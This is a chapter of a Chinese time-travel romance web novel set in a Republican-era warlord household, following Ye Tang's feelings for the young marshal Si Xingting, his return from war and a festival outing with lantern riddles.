第三章 司氏少帅(1 / 1)

四年后,奉城。 叶棠十四岁了,她来这里四年了,在司家呆了四年,同样,她也有四年没有见过司行庭了。 她不知道为什么想见他,可能是因为他是她来到这个世界认识的第一个人,也可能是因为他是她此次的目标,她是为他而来的。 老夫人说他领兵平乱去了。 叶棠取出怀中的香囊,这是她亲手绣的,上面有他的名字,“庭”,作为苏绣传人,她的手艺自然不差,香囊确实很精致。里面的平安符,是她在一座据说很灵验的庙里求的。 叶棠不知道是怎样的敌人,才能让他一去这么多年,虽然当年他不愿见她,但她希望他平安回来。这几年来,也断断续续的传回一些消息。 听说,他刚去,便重挫敌人锐气; 听说,他以三万之数,大败敌方五万大军; 听说,他清扫贪官污吏,杜绝以权谋私,让利于民,深受百姓爱戴; 听说,百姓勇于入伍,他的军队由最初的八万,增加到了十二万; 听说,战事快结束了; 听说,越城当地很多大家闺秀都仰慕他...... 都是听说,他们注定是不一样的人,他的世界,她进不去。 叶棠叹着气写下他的事迹,唯恐遗漏一点点,她想,她唯一能为他做的,就是记录事实,为他正名。 傍晚,越城急报,李肃派人劫走粮草,带领二十万大军包围越城,想要将少帅困死越城! 送情报的是周淮,叶棠认识,他是司行庭亲信之人,那这消息便错不了了。她莫名有些心慌,即使知道他不会死,却还是担忧。 司督军勃然大怒,让司家二少爷和三少爷速去支援。 听到这个消息,叶棠惊惧不已,司至信跟司至善向来与司行庭不和,这两人狼狈为奸,谁知道肚子里藏着什么坏主意,若是让他们去,对司行庭必然不利。 她大脑飞速运转着,思考着谁能帮司行庭。 对了,大少爷司至诚!大少爷是二夫人所生,为人稳重,向来不参与这些权势争斗,但叶棠却是知道,这位少爷其实心思通透,行事正派,最看不得手足相残之事。 听到下人通报叶棠求见,司至诚有些讶然。 他放下狼毫,净了净手道:“去请叶姑娘进来吧。” “见过大少爷。”叶棠依旧规规矩矩的行礼。 “叶姑娘此行,想必是为,四弟之事吧。”司至诚取下毛巾擦了擦手。 叶棠一惊,面上却是不显,“叶棠知道大少爷为人正直,定不会袖手旁观,所以斗胆来此求助。” 司至诚轻笑,“叶姑娘怕是高估了,毕竟,人为财死鸟为食亡,在下亦不能免俗。” “叶棠既然来了,自然是有把握的。”叶棠丝毫不惧,“再者我曾听闻,二夫人与大夫人,关系匪浅。”最后四个字,她特意加重语气。 司至诚脸色一变,定定地看着她,仿佛想要看透她。 叶棠唇角依旧带着微微笑意,一语不发。良久,司至诚笑道,“果然是个伶俐人。” “大少爷谬赞了。”她脸上笑意不减,她知道他这是答应了,“那叶棠就不打扰您了。”说罢,利落转身离开。 叶棠感受得到身后人目光灼灼,她卸下假笑面具,眼中一片冰寒,两年前,她无意中听到两个丫鬟的谈话,说是大夫人的死疑点颇多,似乎与二夫人有些关系,她顺着线索查下去,果真让她发现了蛛丝马迹,本来还不确定,她刚刚是故意诈他的,看来,他们果然与大夫人的死有关! 司至诚是个孝顺的人,为了防止事情败露,于二夫人不利,他一定会杀人灭口。叶棠不知道她还能活多久,但是她不后悔,能解司行庭燃眉之急就好,只是完成不了任务了,对不起老头子啊! 听说大少爷司至诚主动请缨,前往越城营救四弟,司至信和司至善二人虽有异议,却也不敢多说。 叶棠总算放心了,虽说司至诚不一定会帮司行庭,但至少,能让他安全回来。 情况紧急,部队当晚就整装出发了。 第二日,越城又传来消息,说是司少帅带领两万人突出重围,绕到敌军后方烧毁粮草,扰乱军心,又兵分四路在城门处制造各种混乱,城中剩下的人马趁乱开城迎敌,双方陷入混战。 一方虽士气不足,但胜在人数众多,而另一方则士气大增,一路冲锋陷阵。肃,程两军是铁了心要拿下越城,迟迟不下令撤退,几个回合下来,依旧胜负难分,双方势均力敌,这一仗足足打了两天两夜。 到第五日,援军还未到,越城捷报传来,这次来的是张定,“少帅带着三百精兵夜潜敌营,活捉李肃,结束了战争胶着局面,不日将返回奉城!” 司督军大喜,“不愧是我司储的儿子,不丢我司家的脸!” 张定回来了,那他一定是安全的,叶棠彻底放心了。 她回到慈德院时,张定正在向老夫人报平安。 “棠儿你来的正好,我们在说庭儿呢,他快回来了!”老夫人有些激动,“这都四年了,总算要回来了!” 叶棠笑了笑,并未说话。 张定默默地看了她一眼,欲言又止。 “这司储也真是,给那点人就让我宝贝孙子去平叛,幸亏我孙子有本事。”老夫人又在抱怨司督军苛待司行庭。 张定像是下了很大的决心,“老夫人,少帅有话让我带给叶姑娘。” 老夫人很是开明,“行行行,你们谈吧,我这把老骨头就不参与了。”说罢让翡翠姑姑扶她去休息。 叶棠挥手示意小萤也下去,“张副官,不知,少帅有何吩咐?” 张定严肃地道:“少帅让我问叶姑娘可还安好。” “他,不生气了?”叶棠很是惊喜,转而佯装淡漠,“有劳张副官替我谢谢少帅,老夫人对叶棠很好,什么都不缺,自然好。” 张定暗暗感叹,这叶姑娘跟少帅果然般配,一样的刀子嘴豆腐心,“叶姑娘,属下有句话不知当讲不当讲。” “那就别讲了。” “呃,当初少帅是气您陷自己于危险中,他知道此战凶险,才将您托付给老夫人。他之所以不肯见您,是怕他更加舍不得啊!” “......” 张定有些恨铁不成钢,少帅不让他说这些,可是他不想叶棠再误会,这四年来少帅从未笑过,他很多次撞见少帅看着军装袖口的纽扣,不知道在想些什么,那件军装是少帅的至宝,一直小心的安置在床榻一侧。 有一次他们打了胜仗,司行庭也破例让他们喝了点酒,张定看他心情不错,便问他那件军装的事,他说那纽扣是叶棠给他缝的。张定当时震惊了,他从十岁起便跟着司行庭,这么多年来,从未见他对哪位姑娘上心。他也问过少帅怎么就看上叶棠了,当年的她脸又圆,还带着婴儿肥,眼睛也不大,想不通他们天人之姿的少帅怎么就看上了? 张定看她不为所动,有些替少帅不值,“叶姑娘没什么事的话,属下先走了。” 叶棠没说话,她不知道该怎么办,她不能改变历史,她也不确定自己到底喜不喜欢司行庭,她不敢回应。 半个月后,司行庭凯旋归来,那天,奉城万人空巷,所有百姓都站在城门口等他入城。 民国十四年,鄞军少帅司行庭,以十万士兵大败肃,程二十万联军,活捉联军主帅李肃,俘虏败军八万,其中,七万俘虏自愿归入鄞军,剩余一万,司少帅下令让他们回家,并下发足够的遣散费。百姓大赞其仁德,经此一役,司行庭深得民心,在军中的威望也仅次于司督军。自此,他也成了名媛小姐们的梦中情人。 叶棠听着小萤跟她描述着那场面有多壮观,她笑得勉强,真好,他辉煌的一生也就此开启了。 “小姐,你怎么那么憔悴?”叶棠让她私下里叫她的名字,她一直待小萤很好,她们之间不是主仆,更像是相依为命的亲人,只是小萤觉得不能让人觉得她家小姐不识礼数。 “小萤,你说,怎样才算喜欢一个人呢?”叶棠有些迷茫,“唉,算了,你也不会懂的。”她活了两世都没搞清楚,小萤也才十六岁,怎么会懂。 小萤认真的想了想,道:“小姐,小萤虽然没有喜欢过一个人,但是我觉得,喜欢一个人应该就是想时时刻刻看到他,担忧他的安危,希望他好好的。” 这些不就是她对司行庭的样子吗?难道,她真的喜欢他? 不行,绝对不行!她来这里是有使命的,探寻真正的历史关乎国家传统文化,这不是小事,她不能被儿女情长羁绊,影响自己的判断,她不能喜欢他,一定不能! 司行庭一战成名,司少帅之名家喻户晓,司督军大喜过望,给了司行庭任意调动军队的权利,他成了南方十六省的第二统领,一时之间,他成了富商大族竞相拉拢巴结的人,毕竟,挣再多的钱,也得有命花,这年头啊,谁手里有枪,谁就是天。 司家,司行庭院子。 “少帅,属下来给您上药。”周淮欲拿大夫留下的伤药。 司行庭赤裸着的上身布满伤痕,大大小小,有新有旧,有枪伤,也有刀伤。旧的早已结痂,长出的新肉透着淡淡的粉色,而新的伤口,还在流血,特别是他左肩的枪伤,那么深的一个血窟窿,即使已经简单处理过,也依旧,触目惊心。 世人只看到他是少年英雄,司氏少帅,不出意外,他将是鄞军未来的掌权人,可是,谁又知道他付出了多少努力,他的今日,是数个伤口换来的。还有这最后一战,他们虽然胜了,但他也付出了很大的代价,若不是他在战场上长大,对危险的感知力超强,及时的避开了,那一枪,就不是在左肩上了,而是心脏。 “张定还没回来?”司行庭还是那个面无表情的少帅,不过多了些沉稳,以及冷厉,这四年来,他经历了不少。 刚到奉城时,他亲自带领八万士兵对战肃军十几万,那一战,他们损失了将近两万,张定为了保护他,右手差点废了,四年来他几乎没睡过一个安稳觉,其实很多次他都坚持不下去了,只是想到某个笑得没心没肺的人,他就仿佛看到了希望。也许,在司行庭心中,叶棠才是他的信仰,他的喜怒,全部与她相关。 “少帅......”张定磨磨蹭蹭地走了进来,“叶姑娘说她很好,托我问少帅可还好。” 司行庭并未说话,他蹙了蹙眉,眉宇间一片凌厉,“张定,你好大的胆子!” 张定单膝跪在司行庭面前,“少帅,是属下的错,属下甘愿受罚。” 司行庭安静的俊脸上没有一丝表情,喜怒难辨,“你知道你错在哪儿了吗?” “属下不该骗您。”张定嘴上说着认错,心中却丝毫不觉得自己做错了。 司行庭缓缓摇头,“不,你错在违抗军令,除了我让你说的话之外,你还多说了。” “少帅,您为什么不肯告诉叶姑娘?”他实在不忍心看少帅这样痛苦了,“您明明......” “住口!”司行庭眼中盛满怒火,“校场罚跑二十圈,三十军棍!” “少帅!”张定依旧不死心。 “负重三十斤。” 一旁的周淮看情形不对,赶紧将张定拖了出去,“属下送张副官下去领罚。”见司行庭没制止,他赶紧带着张定溜了。 司行庭闭上眼睛,掩去眼中情绪,她生气了,也难怪,毕竟当年是他让她离开,还不辞而别。 “小姐,听说张副官被少帅狠狠的处罚了。”小萤一如既往的八卦,也不知道跟谁学的,“他对少帅那么忠心。” 叶棠没说话,小萤也就继续聒噪,“还有啊,府里大夫的学徒小六说,少帅身上好多伤,好严重呢。” 叶棠终于有了反应,他受伤了?很严重?她摇摇头,强行压下心头的担忧,那是他的事,跟她没关系。 叶棠站在司行庭院门口小小的纠结了一会儿,她告诉自己,“你看你在司家住了这么久,当然要看望看望司家少爷啦,还有老夫人对你这么好,要报答她嘛。嗯,对,就是这样!” 意外的是,看守院子的亲兵们并未拦着她,她一路畅通无阻来到司行庭的房间。明明只有几步之遥,叶棠又怂了,要不她还是回去吧?另一个声音响起,不行!来都来了,不许回去,胆小鬼! 不等她抉择好,送张定去领罚的周淮回来了,“叶姑娘?您怎么......” 叶棠迅速转身,食指竖在嘴唇上,示意他不要说话。眼前的姑娘瞪大了眼睛,黑白分明的眼眸很澄澈,里面倒映着他的身影,她嘴角淡淡的笑意,是他见过最美的风景。 周淮点点头,表示自己不说话。 他小声道:“叶姑娘来看少帅?怎么不进去?” 叶棠走近,“少帅他,还好吧?” 她靠得很近,近到,周淮甚至能嗅到她长发上淡淡的香味,他的心跳仿佛漏了一拍。 “周副官?” “哦!少帅不太好,伤得挺重的。”周淮压下心头的悸动,少帅是他的恩人,是他的伯乐,他要一切以少帅为重,“少帅不让我们给他包扎,叶姑娘去看看少帅吧。” 见叶棠不说话,周淮轻轻地推了她一把,还喊了一嗓子,“叶姑娘,您来看少帅了呀?” “......”叶棠转头,一脸震惊,外加无语,说好的善良呢?周淮你的节操呢?这下,她骑虎难下,不得不进去了。 周淮一脸坏笑,轻声道:“叶姑娘快进去吧,少帅等着呢!” 叶棠咬牙,好,很好!周淮,本姑娘记住你了,你给我等着! “那个,老夫人派我来看看少帅伤势如何?”叶棠咽了咽口水道。 “......” “少帅你还好吧。” “......”司行庭还是不说话。 叶棠凉凉的看了司行庭一眼,她动了动嘴唇,并未说话,这四年来,他成长了不少,他一定,经历了很多艰难困苦,才能有现在的他。她不知道,他究竟是怎么坚持下来的,但是,她知道,她心疼他。 “既然少帅没有大碍,那叶棠便回去复命了。”说完,转身就走。 “等等!” 叶棠轻笑,果然还是这招好用,哼,傲娇?在她这里是不存在的。 她强装镇定,“少帅还有何吩咐?” “本少爷手不方便,你来替本少爷上药。”司行庭一副大爷样子,仿佛在说让你替本少爷上药,是你的荣幸。 叶棠气极,在心里告诉自己,他是她来这里的目的,她一定要完成任务,不气,不气。 司行庭的白衬衫已浸出斑驳血迹,看起来格外刺目。即使叶棠觉得她已经做好准备,但是,在他褪下衣服的那一刻,她的心狠狠地抽了一下。 那是怎样的身体,旧伤叠新伤,新伤覆旧伤,纵横交错。叶棠瞬间红了眼,她颤抖着手拿起伤药,尽量控制自己的声音,不让他察觉她的哽咽,“会有一点疼,你......”叶棠用力咬住下唇,不让自己哭出来。 “我给你用一点麻醉吧?”她眼前一亮。 “不用。”司行庭不喜欢那种药,他不喜欢自己无法掌控的感觉。 “那,我尽量轻一点。” “嗯。” 眉宇英气的少年赤裸着上身,笔直的坐着,一旁清秀的少女小心翼翼地为他包扎伤口,唯恐弄疼了少年。少年紧蹙的眉头渐渐放松,向来冰冷漠然的脸上展出几丝笑容,竟美得有些惊心动魄。 那时,天很蓝,云很美,阳光正好,风也好,窗外的海棠也开得热烈,远远看去,像是一幅画。 待到叶棠帮司行庭处理好伤口时,她也收拾好了自己的情绪,将那些别样的情愫藏进了心底。司行庭,对不起,我不能那么自私,我来这里,只是为了考证史料,也只能是为了这个! “好了。”叶棠打开司行庭的衣柜,入目处全是军装和清一色的白衬衫。她随手挑出两件递给司行庭。 后者斜斜瞟过一眼,表示自己不方便。 叶棠帮司行庭套上衬衫,转到他前面扣着纽扣。她这才发现,她的身高居然才到他衬衫第二颗纽扣处,她可也是一米六五的姑娘呢! 司行庭低头看她,从这个角度看去,她婉约雅致的眉,浓密的睫毛,小巧秀气的鼻子,精致的锁骨,以及......司行庭转头,脸颊上浮现两朵可疑的红云。 他默默地想,这丫头低垂着眼帘的样子还挺温柔乖巧的,比她一脸理直气壮怼他时,眼中满是狡黠的样子可顺眼多了,不过呢,他还是喜欢那样的她。因为至少,那样的她是没有烦恼的,他希望,她一直开心的笑。 司行庭下定决心,一定要守护她的笑容,永远不让她伤心,不让她掉眼泪。 此刻他不知道,多年后,是他自己伤透了她的心,让她流泪。 扣好最后一个纽扣,叶棠拿过外套给他披上,开始收拾着伤药,绷带和他染血的衣服。 司行庭就这样看着她,也不说话,叶棠感受到他的目光,抿了抿嘴角,硬是没说一个字,只是加快了速度。收拾好之后,不等司行庭说话便飞速离开了。 司行庭心口一滞,他有那么可怕吗?不,应该是,她真的很讨厌他吗? 他闭上眼睛,揉了揉眉心,有些无力的垂下手,他当年不该对她那样无情,如果没有她,奶奶可能会出事,可是,她就那样奋不顾身的跳下去,她有没有想过,那些下人没见过她,不会去救她。那时候她都沉下去了,若不是他及时赶到,后果,他不敢想。 他守了她两天两夜,粒米未进,那时她脸色苍白,毫无血色,那是他第一次如此担心一个姑娘,一个相识不久的姑娘。 其实当他第一次察觉到,自己对她有些不一样时,他吓到了,他甚至觉得自己有病。他不断告诉自己她还是个孩子,可他控制不住自己去想她。在越城的那四年里,他无时无刻不在想她,即使是战场厮杀,他心里想的也是要为她守住一隅安稳。 他不怕负重前行,只想她能岁月静好,哪怕最后,他万劫不复,他亦甘之如饴! 叶棠低着头,一个劲的往慈德院跑,她看到她转身离开时,司行庭脸上受伤的表情,可她不敢回头,她怕自己心软,也怕他燃起不该有的希望。她觉得,得不到,总比得到之后再失去,要好得多。 叶棠将自己关在房间里,任小萤在外面敲门,她只说她没事,让小萤不要担心。小萤看着紧闭的房门,眼中满是担忧,“小姐,有事您叫小萤。”里面没有传来任何声音,她叹了口气。 听到脚步声渐远,叶棠靠着房门滑坐在地上,她终于忍不住,捂住脸低低的啜泣,泪水从指缝间溢出,滴落在地,砸出一朵小小的泪花。 她用衣袖胡乱地擦了擦眼泪,打开窗,看向远方,那是司行庭的方向。 司行庭,对不起。 泪珠再次滚落,顺着脸颊滑下,最后,消失在衣衫上。 翌日,老夫人看到叶棠略微憔悴的脸,心下了然,唉,他们年轻人的事,终归要他们自己去解决,她这老妇人也不好插手。 “棠儿啊,你跟小萤去街上逛逛吧,今天是花神节呢,你们小姑娘家喜欢热闹,可不要拘在我这把老骨头身边了。”老夫人和蔼地道。 叶棠知道,老夫人这是怕她闷坏了,让她出去散散心。 她想到了她的姥姥,她从小在姥姥家长大,她的苏绣也是姥姥教的。她很喜欢吃糖葫芦,那时候她不开心了,姥姥就会亲手给她做,看她吃得满脸糖渍,姥姥便也幸福地笑...... 想到这,叶棠不由勾起唇角,“谢谢老夫人,叶棠知道了。” “乖孩子,去吧。”老夫人笑得一脸欣慰。 叶棠不知道,她前脚刚出府,司行庭后脚就来给老夫人请安。 “庭儿,坐吧。”老夫人呷了一口茶,“你是知道棠儿走了才来的吧。” 司行庭狡辩,“才不是!奶奶,我......” “我看着你长大,你打得什么主意我能不知道?” 司行庭没再辩驳,他确实是知道叶棠出门了,他才来的。 “奶奶,孙儿是来向您辞行的。军中事务繁多,我来回跑也不方便,我打算去营地住一段时间。”他想,他需要静一静。 “不行!你的伤......” “大夫说了,来回奔波反而不利于伤口痊愈。”司行庭早已想好说辞。 “那......”老夫人有些无奈,“罢了罢了,你去吧,不过得多多注意,不许舞枪弄棒了!” 司行庭点点头,“那孙儿就先走了。” 老夫人看着司行庭的背影,感慨不已,一眨眼就十四年了,这浑小子也这么大了,阿毓啊,你在天有灵,也该是欣慰吧? 花神节一年一度,是江南一带的重要节日,这一天家家户户都会停下活计,约上三五好友上街闲逛,即使是已婚妇女们,也能邀上昔日的闺中密友们到茶楼坐一坐,品品茶,吃吃点心。到晚上,还会有花灯会,烟火表演什么的,很是热闹。 听说关于花神节的由来,还有个美丽的传说呢。 既然出来玩,就要玩得尽兴才好,正好她来这个时代这么久,还没能好好逛逛呢。好不容易今天能光明正大的出来,她要好好玩,至于那些烦心事,丢一边去吧。 叶棠看天色尚早,便带着小萤上茶楼坐坐,虽然街边也有咖啡馆,但她向来怀旧,还是喜欢Z国传统的茶,老祖宗传下来的东西,学问大着呢。 一壶茶,几样点心,便坐下开始听说书先生讲。 传说,在数百年前,有一位叫流音的姑娘,这位流音姑娘医术高明,她说她是从很远的地方来的。流音喜欢穿白裙,不过她总是戴着帷帽,垂下重重轻纱,不露真容。她一直在江南一带行医,不收取一分钱,只是每去一个地方,她都会向人们打听一个叫容慕的男子,每每听到人们说不识时,她总会很失落,继而又打起精神继续她的行医之路。 后来,流音遇到一个少年,她叫他容慕,还哭着说她找了他很久了,他终于回来了。少年手足无措,为她擦去眼泪,告诉她,他叫容恪,不叫容慕。流音失魂落魄,你不是他,不是,他说不想再看到我,又怎么会见我呢,你不是,不是...... 自此,流音跟容恪成了朋友,心情好时,她会弹琵琶给他听,他也会包容她的一切坏脾气。直到有一天,容恪不辞而别了,为此,流音黯然神伤了许久。后来容恪回来了,不过他不再是那个陪伴她的温柔少年了,他是年轻的帝王。他居然骗她!她最讨厌的,便是欺骗。 容恪想要流音做他的后,陪他一起看万里江山,为此,他用整个城镇的百姓威胁她。这里曾有她最美好的回忆,她不忍,也不想鲜血玷污了它,于是她妥协了,甘愿做他金丝笼中的雀。即使他对她千般体贴万般好,即使他三千弱水只取她这一瓢饮,她也不开心,这不是她想要的,她想要自由,可他不肯给她。 不知过了多少年,昔日的少年两鬓已生出华发,可她依旧容颜不改,还似初见。朝中大臣上奏,妖后祸国,要他废后。民间也怨声载道,废后的折子如雪花般飞上他的桌案,他不为所动。数百官员在宫门口长跪,民间义军四起,打着清君侧的旗号,势如破竹。 最后的屏障被攻破时,他看到她嘴角漾开的笑意,那是一种解脱的笑,发自内心。他执起佩剑,告诉她,我知你不爱我,一直都知,可我爱你啊,除非我死,否则我不会放开你! 后来,容恪为流音挡了一剑,正中心脏,他问她,容慕,到底是谁? 流音缓缓落下一滴泪,继而化作无数片花瓣,飘散于世间....... 叶棠眨眨酸涩的眼睛,看来,这是个悲伤的故事啊。 “哎,先生,你这说得不对啊。”一个声音自楼上雅间传来,“你说这流音戴着帷帽,从不以真容示人,那容恪又怎么知道她流泪了?那些大臣又如何得知流音容颜不改?” 说书人可不干了,两人开始争论起来。 叶棠吞下最后一块点心,带小萤离开。最讨厌这种杠精了,有本事自己下来讲啊!呃,虽然说他说得有那么点道理,但是这终归只是传说啊。那么计较干嘛?看来又是一场精彩的唇枪舌战啊,不过现在她没那个闲心当吃瓜群众。 “哇!小,小棠,你看那个花灯好漂亮啊!”话痨小萤上线,“你看这个发簪,好看吗?”小萤拿起一支发簪在发髻上比划了一下。 “好看!特别好看!”叶棠不忍心扫她兴致。 小萤完全没听出叶棠的敷衍,“那好,老板,就要这个。” 容慕,容恪?管他是谁,只要真心爱自己不就好了?叶棠还在想花神的故事,也许是她还没有那么刻骨铭心的爱过一个人,所以她不懂流音的那种执念。 “小棠,我们去猜灯谜吧!”不等她拒绝,小萤便扯着她朝前跑去。 “哎,各位看官,走过路过千万不要错过啊,我们这里有一盏七彩琉璃灯,若是谁猜中了,那这灯便是他的了!”连竹楼的小二指着一旁精致的盒子道,“这谜题嘛,也是我们东家亲自出。” 连竹楼是奉城最大的茶楼,它真的就只是一间茶楼,不卖酒,也不售咖啡,在这样新旧交杂的时代里,它的存在真真是一股清流。可楼里的生意却也不差,他们总是能收到最好的茶,且价格也公道,因而文人墨客也总喜欢聚于此处,吟诗作对,好不风流。 而这连竹楼的东家也是个神秘人,从不在人前露面,即使不得不见人,也是轻纱覆面,一个弱女子能让连竹楼屹立不倒,想来也是有些背景和手段的。 小二小心翼翼地打开盒子,取出那七彩琉璃灯,当真物如其名,似乎是玻璃制品,切割工艺很是精巧,像现代的钻石一样,灯光照来,霎时间流光溢彩,有种夺目的美。 叶棠想好像玻璃在这个时期也有了,只是这种切割工艺不多见,也难怪四周的人们目露惊叹之色了。 “小棠,我们也去试试吧!”小萤眼馋的看着那盏灯,好漂亮,好想去摸摸它。 叶棠盘算了一下自己的语文水平,好像水平不允许她加入这样的活动,她不忍心拒绝小萤,只能告诉她,“我试试喔,不过你不要抱太大希望。” 小二看已经吊足胃口了,便清了清嗓子,开始出谜题,“各位看官可仔细听着,第一题:堂下土稀高木繁,打一字!” 周围的人们议论纷纷,“堂下土稀,高木繁?这是什么题?” “哎,小二,有没有什么提示啊?” 小二笑而不语,意思很明显,没有。 “是‘棠’,海棠花的棠。”叶棠灵机一动,想到自己的名字。“小二,不知可对?” “对极了!姑娘好聪慧!”店小二笑道,“这一题各位都未答出来,便都淘汰了,若是再没有其他参赛者,那这七彩琉璃盏可就归这位姑娘了。” “等等,谁说没有,本少爷这就来会会。”人群中传来一个清越的男声。未见其人而先闻其声,叶棠想到了Z国一本名著中对某个人物的描写,不过,这声音,她好像在哪听过? 来人不过十七八岁,眉宇间尚有稚气,穿着时下流行的西式马甲,白衬衫领口处系着小小的蝴蝶结,同色系的西裤,脚上是一双马靴。看这身行头便知不是普通人家,想来是哪家的小少爷,出来寻乐子呢。 “公子这边请,两位注意了,第二题:晨去草木化春泪,打一字!” “你是在侮辱我的智商吗?这么简单的题也来考本少爷。”那少年满脸不屑。 叶棠小声说了句:“你行你倒是说啊!” 没想到少年耳力如此好,居然听到了,他倒也不恼,双手插在裤兜里,缓步向叶棠走来,语气轻佻,“哪家的小丫头,长得倒也不赖,不如跟小爷我回去,这灯,小爷就送你了。” 居然敢调戏她?这大庭广众之下,士可忍孰不可忍! “哪来的小屁孩,毛都没长齐,还想学人强抢民女啊?”想她前世一双十姑娘,怎么能被这高中生模样的少年吓住? 顾谨言下巴都快掉了,在他十八年的成长生涯中,从未遇到如此,如此,“开朗的”姑娘。顾家是书香世家,他是顾家长房独子,上面有三个姐姐,在他的记忆中,不论是母亲,还是姐姐们,都是优雅内敛的女子,他从不知道,原来还可以有这样的女孩子。 他艰难的咽了咽口水,弱弱地问,“姑娘贵姓啊?”他交定这个朋友了。 叶棠极其不雅的翻了个白眼,“你家人没教你不能随便问姑娘家名讳吗?” 顾谨言仔细的回想了一下,很认真的回答她,“没有。” “你话太多了,还要不要答题了?”叶棠有些不耐烦。 “自然是要的。”顾谨言笑了笑,眉眼间神采飞扬,“各位乡亲作证,若是最后我胜出,这盏灯,依旧送给这位姑娘。” “好嘞,这公子果然仗义。” 他本就生的俊秀,特别是这一笑,瞬间迷倒了周围看热闹的大姑娘小媳妇们,若是现在流行什么掷果盈车,那他早被姑娘们的手帕香包给埋了。 叶棠瞬间想到一个词,美目盼兮,他跟司行庭是两种风格的帅哥,司行庭是那种冷峻坚毅的帅,五官英气,面部线条很是硬朗,用那个时代的话就是,硬汉类型的。 但是这少年呢,虽然长得白净,颇有些小白脸的潜质,但看他身姿挺拔,站姿端正,想来也是会些拳脚功夫的。他身上有一种气质,清贵儒雅,是那些底蕴深厚的大家族才能培养出来的。看来人不可貌相这句话也不尽然。 “晨去草木化春泪,该是个‘花’字。”他顾家人可不是盖的。 “那这一局便是公子胜了。小的就继续出题了,洛水河头花木深,也是打一个字。” “落,花落知多少。”在小萤期盼的眼神下,叶棠不得不努力努力。 “姑娘胜,公子可得努力了,此题可累积,这位姑娘已胜两局。”店小二揶揄道,“第四题:扁舟另行向他处,还是打一个字。” “别!别开生面。”他可不能输,否则还怎么在姑娘面前耍帅。 “二比二,平局!最后一题!廷堂多辽阔,打一字!” “庭!” “庭!” 二人几乎同时解出谜题,店小二一时有些为难,这七彩琉璃灯可仅有这一盏。 “公子,这灯可不是得归这位姑娘喽!”人群中有人想起顾谨言的承诺,恰好给小二解了围。 “自然如此!”顾谨言倒也爽快,亲自取了那灯递给叶棠。 叶棠本就无甚兴趣,小萤很是欢快的收下了,还不忘向他道谢。 “姑娘,在下顾谨言,姑娘贵姓?”顾谨言不死心,就想知道她是谁。 “萍水相逢,不必了。”叶棠压根不想理这个轻浮的小少爷,抬脚就走。 “小棠,等等我!”小萤拎着灯跟上叶棠。 小棠?一从梅粉褪残妆,涂抹新红上海棠。开到荼蘼花事了,丝丝夭棘出莓墙。好名字,顾谨言一笑,他记住了,咱们来日方长。 无论是前世,还是今生,叶棠都很喜欢看烟花。她记得小时候,一家三口为数不多的几次春节,爸爸会将她护在怀里,手把手的教她放烟花,妈妈怕她受伤,气得骂爸爸,可爸爸总是笑着说以后不了,让妈妈别生气,结果下一个春节还是带她玩,不过却得躲着妈妈。 这个时代的制作工艺自是赶不上二十五世纪,烟花的花样也不多,可颜色也很是绚烂。 叶棠抬头看烟花升至最高点,展现它们最美好的样子给世人看,然后迅速落下,消失在各处。叶棠很喜欢这种转瞬即逝的美,因为这样,才能让人们永远记住,永远怀念,永远企盼,就像昙花,就像,流音。 叶棠感觉到有一道目光盯着她,很是灼热,她转头一看,是司行庭,他还是一身挺拔的军装,只是他站在较为冷清处,因而并未引起轰动。 蓦然回首,那人却在灯火阑珊处。如此形容,正是贴切。 他们就这样静静地注视着彼此,叶棠首先低下头,算了,就让她做他辉煌一生中清新简单的一笔吧,不能陪他走过这一生,就让她成为他生命中的一个过客,相识,相知,相念。 叶棠转身离开,再未看司行庭一眼,当断不断反受其乱。 张定跟在司行庭身后,一个大老爷们,也不知该怎么安慰他家少帅,憋了半天,憋出一句文雅的话,“少帅,天涯何处无芳草啊!”没办法,这差不多是他的极限了,他不是周淮那小子,诗词歌赋啥的信手拈来。 “她们都不是她,再也不会有一个姑娘,像她这般让我牵挂。”司行庭有些偏执,“我不准她喜欢别人,因为那个人只能是我!” 张定无言,他该怎么告诉自家少帅,强扭的瓜不甜这事呢? 司行庭仿佛知道他在想什么,淡淡地来了句,“再苦我也要。” 张定泪了,咋还杠上了? 张定不知道,后来他一语成谶,而司行庭也真的言出必行。 这边叶棠也是满腹心事,她漫步在湖边,小萤知她心情不太好,也不敢打扰她,只不近不远的跟着。 “哎,这么巧,又遇上姑娘了!”顾谨言不知道从哪儿冒出来,快步赶上叶棠,跟她并肩而行,“果然是缘分啊!你说是不是?小棠~~~” 他故意拉长声音叫她,叶棠被他恶心的不行,“恶心他妈给恶心开门,你知道是什么吗?” 顾谨言求知欲爆棚,叶棠告诉他,“恶心到家了,你别这样叫我。” “那该叫什么?棠儿?小棠儿?” “求求你别叫了,我认输还不行吗!” 顾谨言露出得逞的笑容,“小棠啊,怎么看起来心情不好呢?难道是看不到本少爷的绝世容颜,黯然神伤了?” 叶棠很无语,这迷之自恋的家伙到底是个什么品种? “哎小棠,你到底怎么了?谁欺负你了,小爷替你出气!”顾谨言正色道,一副为朋友两肋插刀的样子。 叶棠被他逗笑了,“没有谁欺负我,谢谢你啊!” 顾谨言看着她璀璨的笑颜,“小棠,有没有人说过你笑起来特别好看?” “是吗?那我就厚着脸皮接受啦!” 今晚的天很美,一轮圆月高高挂着,散发着柔和圣洁的光辉,周围环绕着无数颗星子。众星捧月,就像司行庭和她,他是那独一无二的月亮,而她只是他身边一颗小小的星子,黯淡无光。 “你喜欢月亮吗?”叶棠托着腮问他,“要是你只是一颗星星,可是你喜欢上了月亮,你会怎么办?” 顾谨言认真的想了想,告诉她,“自然是去追逐啦,喜欢就要拥有,不是吗?” “那要是你们之间差距很大很大呢?” “那又怎么样,要是真心对方,那就一起努力,差距总会慢慢缩小啊。” 是啊,要是两个人真心喜欢对方,她相信一切都可以迎刃而解了。叶棠瞬间觉得豁然开朗,可是,徐老头那边...... “你不会是喜欢上小爷了吧?”顾谨言挑眉,“早说嘛,小爷很好追的,也不嫌弃你。”不等叶棠说话,他又道,“别难过别难过,小爷答应你就是了。” “......” 这位同学,请问你哪儿来的自信? “姑娘请留步!” 叶棠回头一看,原来是连竹楼的店小二。 “姑娘让我们好找啊。”小二喘了口气,继续道,“姑娘,我们东家请姑娘到连竹楼一见。” 叶棠有些诧异,小二接着道:“东家让小的转告姑娘,她可以告诉姑娘您想知道的一切。” “那便请您带路吧!”叶棠决定去见见连竹楼东家。 “那我呢?”顾谨言急了。 “我们东家只邀请这位姑娘。” “你先回去吧,这位东家想来应是好人,我不会有事的。”她不想顾谨言介入她的事情。 “那我以后怎么找你啊?” “叶棠。”她回头笑道,“我叫叶棠。” 叶棠,叶棠,这个名字注定是他一生的梦魇,和无法触及的痛。 